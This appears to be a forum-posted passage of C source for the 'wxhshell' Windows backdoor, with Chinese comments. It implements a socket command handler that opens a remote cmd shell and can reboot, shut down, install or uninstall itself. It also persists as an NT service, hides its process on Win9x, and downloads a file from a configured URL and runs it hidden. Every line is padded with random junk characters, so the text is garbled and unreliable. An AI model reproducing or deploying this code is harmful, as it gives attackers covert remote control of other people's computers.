  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'PvOOhm,  
  } Tr.u'b(  
  else { n`X}&(O  
._[uSBR'  
    switch(cmd[0]) { {O!B8a    
   GUps\:ss  
  // 帮助 gl~9|$ivj>  
  case '?': { =/ +f3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zi_0*znw  
    break; #G]g  
  } Q"s]<MtdS  
  // 安装 FL[,?RU?2  
  case 'i': { YS bS.tq  
    if(Install()) A~ @x8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pG^>y0  
    else uC|bC#;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ah B)8bG  
    break; ew&"n2r  
    } cS%;JV>C  
  // 卸载 f~?kx41dq  
  case 'r': { J(5#fo{Q.g  
    if(Uninstall()) T2}X~A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<X4LO)C  
    else XC!Y {lp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }E^k*S  
    break; !PfdY&.)  
    } Y;{(?0 s  
  // 显示 wxhshell 所在路径 Y?V.O  
  case 'p': { X- j@#Qb  
    char svExeFile[MAX_PATH]; Z_4|L+i<{  
    strcpy(svExeFile,"\n\r"); avY<~-44B  
      strcat(svExeFile,ExeFile); e3k58  
        send(wsh,svExeFile,strlen(svExeFile),0); r8Z.}<j  
    break; UmLBoy&*  
    } EvptGM  
  // 重启 : j`4nXm  
  case 'b': { X`A+/{ H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :{ Lihe~\  
    if(Boot(REBOOT)) ^g=j`f[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6eQa @[.Q  
    else { !l$k6,WJi  
    closesocket(wsh); r8>Qs RnU%  
    ExitThread(0); ub]s>aqy   
    } v$Xoxp  
    break; p^s:s-"f\  
    } m[nrr6 G"  
  // 关机 YJ}9VY<}1K  
  case 'd': { FK @Gd)(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;!B,P-Z"g  
    if(Boot(SHUTDOWN)) 4t 0p!IxG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]VaMulb4  
    else { 9h"3u;/,  
    closesocket(wsh); \.]C`ocD  
    ExitThread(0); V6&6I  
    } J; N\q  
    break; ~!P&LZ  
    } F{E`MK~f_  
  // 获取shell j9R+;u/!  
  case 's': { 24k;.o  
    CmdShell(wsh); Bo;{ QoB  
    closesocket(wsh); E-deXY  
    ExitThread(0); ,+v>(h>q  
    break; ^;[^L=}8$  
  } |Es,$  
  // 退出 N j:W6? A  
  case 'x': { = O|}R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yv3 P]6c.  
    CloseIt(wsh); !$p E=~1C  
    break; %zN~%mJG  
    } ^fP5@T*f  
  // 离开 ir~4\G!  
  case 'q': { |(=b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PnH5[4&k  
    closesocket(wsh); |Y30B,=M  
    WSACleanup(); ^nLk{<D35  
    exit(1); ~&WBA]w'+  
    break; *9US>mVy  
        } h#Z~x  
  } cvC 7#i[G  
  } @[#)zO  
esd9N'.Q*  
  // 提示信息 e 3TKg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \"9ysePI  
} CYdYa|  
  } 6M[OEI5  
Bqw/\Lxwlf  
  return; s14 ot80)  
} 5}2148  
J I E0O`  
// shell模块句柄 u17 9!  
int CmdShell(SOCKET sock) 2tS,q_-=  
{ >+@EU)  
STARTUPINFO si; HE-ErEtGB  
ZeroMemory(&si,sizeof(si)); jpZ 7p ;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |<#yXSi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l4y>uZ>a  
PROCESS_INFORMATION ProcessInfo; (Ft#6oK"  
char cmdline[]="cmd"; Fnuheb'&m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #'I<q  
  return 0; >vDi,qmZ  
} ])#?rRw  
s6!! ty;Y  
// 自身启动模式 ITZ}$=   
int StartFromService(void) {5 (M   
{ vofBS   
typedef struct :H/Rhx=  
{ NW` Mc&  
  DWORD ExitStatus; REPI >-|  
  DWORD PebBaseAddress; =<Ss&p>  
  DWORD AffinityMask; Y ^5RM  
  DWORD BasePriority; q& esI  
  ULONG UniqueProcessId; a``Q}.ST  
  ULONG InheritedFromUniqueProcessId; pwl7aC+6d  
}   PROCESS_BASIC_INFORMATION; VP^{-mDph  
o97*3W]  
PROCNTQSIP NtQueryInformationProcess; &H%z1Lp  
{w ]L'0ES[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J"fv5{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A",R2d  
Wqe0m_7  
  HANDLE             hProcess; " t,ZO  
  PROCESS_BASIC_INFORMATION pbi; ,D'bIk  
fz%e?@>q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9 xFX"_J  
  if(NULL == hInst ) return 0; AbB+<0  
0QBK(_O`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?+L7Bd(EF%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N`LY$U+N|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ooj^Z%9P  
0e j*0"Mq  
  if (!NtQueryInformationProcess) return 0; G;]zX<2^3  
8< "lEL|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mzcxq:uZ5  
  if(!hProcess) return 0; nX<yB9bXDg  
{?X9juc/#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FLQ^J3A,I  
_r`(P#Hy  
  CloseHandle(hProcess); dZ Ab' :  
W7w*VD|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iThf\  
if(hProcess==NULL) return 0; 3m"9q  
/KhY,G'Z  
HMODULE hMod; k>#-NPU$  
char procName[255]; u+ 8wBb5!  
unsigned long cbNeeded; 5yf`3vV|3@  
b7HT<$Wg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uf`/-jY  
wpOM~!9R  
  CloseHandle(hProcess); @"afEMd  
\o5/, C  
if(strstr(procName,"services")) return 1; // 以服务启动 *a` _,Q{x  
3*e )D/lm  
  return 0; // 注册表启动 21hTun"W  
} pZ 7KWk4  
j^ttTq|l  
// 主模块 hne}G._b  
int StartWxhshell(LPSTR lpCmdLine) JR|P]}  
{ l>pnY%(A  
  SOCKET wsl; MaP-   
BOOL val=TRUE; 4TcW%  
  int port=0; p%5(Qqmlk  
  struct sockaddr_in door; p+Fh9N<F9  
hmv*IF.  
  if(wscfg.ws_autoins) Install(); -_f-j  
u9{Z*w3L7  
port=atoi(lpCmdLine); 1Ch0O__2L  
6t4{aa!L|9  
if(port<=0) port=wscfg.ws_port; }KV)F,`  
`LJ.NY pP  
  WSADATA data;  !~]'&9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _ Uv3g lK  
^NrC8,p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hlHle\[ds  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o6 8;-b'n  
  door.sin_family = AF_INET; \ZC0bHsA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hho\e 8  
  door.sin_port = htons(port); 7+m.:~H3}  
FeJKXYbk<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^;;gPhhWV  
closesocket(wsl); Fb^,%K:  
return 1; 8CRwHDB  
} 4iJ4g%]  
-9(nsaV  
  if(listen(wsl,2) == INVALID_SOCKET) { `12Y2W 9  
closesocket(wsl); (o!i9)  
return 1; K# h7{RE  
} RYM[{]4b5F  
  Wxhshell(wsl); /[|A(,N}{  
  WSACleanup(); <KZ J  
=@.5J'!  
return 0; 2~@Cj@P]  
df9$k0Fx  
} =Ct$!uun  
2XV3f$,H  
// 以NT服务方式启动 $lF\FC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /+f3jy:d  
{ *m&(h@l  
DWORD   status = 0; jk5C2dy  
  DWORD   specificError = 0xfffffff; \5F {MBx !  
U.J/ "}5`T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,sn 9&E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZV`o: Gd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I_ na^s h*  
  serviceStatus.dwWin32ExitCode     = 0; ^/7Y3n!|3  
  serviceStatus.dwServiceSpecificExitCode = 0; % &i Wc_"  
  serviceStatus.dwCheckPoint       = 0; 0V'XE1h  
  serviceStatus.dwWaitHint       = 0; 9<"l!noy  
]Waa7)}DM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hJ(S]1B~G  
  if (hServiceStatusHandle==0) return; M1XzA `*  
*YWk.  
status = GetLastError(); eX o@3/  
  if (status!=NO_ERROR) ksQw|>K  
{ ^ ]SU (kY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Q>{Y  
    serviceStatus.dwCheckPoint       = 0; x-SYfvYY  
    serviceStatus.dwWaitHint       = 0; C oO0~q  
    serviceStatus.dwWin32ExitCode     = status; t ZA%^Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ce_l\J8G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$ BYfI3H  
    return; j8ag}%  
  } }z_7?dn/  
@;{iCVW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ryi% }!  
  serviceStatus.dwCheckPoint       = 0; ,/..f!bp  
  serviceStatus.dwWaitHint       = 0; sT>l ?L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %>,Kd6bdg  
} Ai5D[ykX  
s@|TQ9e |j  
// 处理NT服务事件,比如:启动、停止 HeM-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c 4L++ u#  
{ {(^%2dk83C  
switch(fdwControl) |3 v+&eVi  
{ 3NgyF[c  
case SERVICE_CONTROL_STOP: +'9eo%3O  
  serviceStatus.dwWin32ExitCode = 0; 6g'+1%O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]}BT'fky#  
  serviceStatus.dwCheckPoint   = 0; t+n+_X  
  serviceStatus.dwWaitHint     = 0; f_ UwIP  
  { F vHd `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H)i%\7F5  
  } PYW>  
  return; CR`}{?2H  
case SERVICE_CONTROL_PAUSE: $(;0;!t.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,%,.c^-  
  break; 9C\@10D  
case SERVICE_CONTROL_CONTINUE: Xldz& &@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KgEfhO$W  
  break; 4 UnN~  
case SERVICE_CONTROL_INTERROGATE:  ehQ~+x  
  break; mjbV^^>  
}; SgY\h{{sP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z_[jah  
} w&LL-~KI+  
HH'5kE0;d  
// 标准应用程序主函数 4$8\IJ7G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S{c;n*xf  
{ 0vcM+}rw  
3H@29TrJ+  
// 获取操作系统版本 e"voXe  
OsIsNt=GetOsVer(); 6#1:2ZHKG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G:{\-R'  
r#/Bz5Jb*  
  // 从命令行安装 C07U.nzh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;.b^A  
(Kaunp5_`  
  // 下载执行文件 K"9V8x3Wg  
if(wscfg.ws_downexe) { y`-5/4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CFiO+p&  
  WinExec(wscfg.ws_filenam,SW_HIDE); F[==vte|  
} RTvzS]  
oHkjMqju  
if(!OsIsNt) { 1<3!   
// 如果时win9x,隐藏进程并且设置为注册表启动 = j S  
HideProc(); !gFUC<4bu  
StartWxhshell(lpCmdLine); kIYV%O   
} &p:GB_  
else nAW`G'V#  
  if(StartFromService()) ]LZ,>v  
  // 以服务方式启动 I xE }v%&  
  StartServiceCtrlDispatcher(DispatchTable); ~QE-$;  
else :*s+X$x,<  
  // 普通方式启动 kK$*,]iCp  
  StartWxhshell(lpCmdLine); _ hs\"W  
D``>1IA]  
return 0; O,?aVgY  
}
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只看该作者 1 发表于: 2006-10-10
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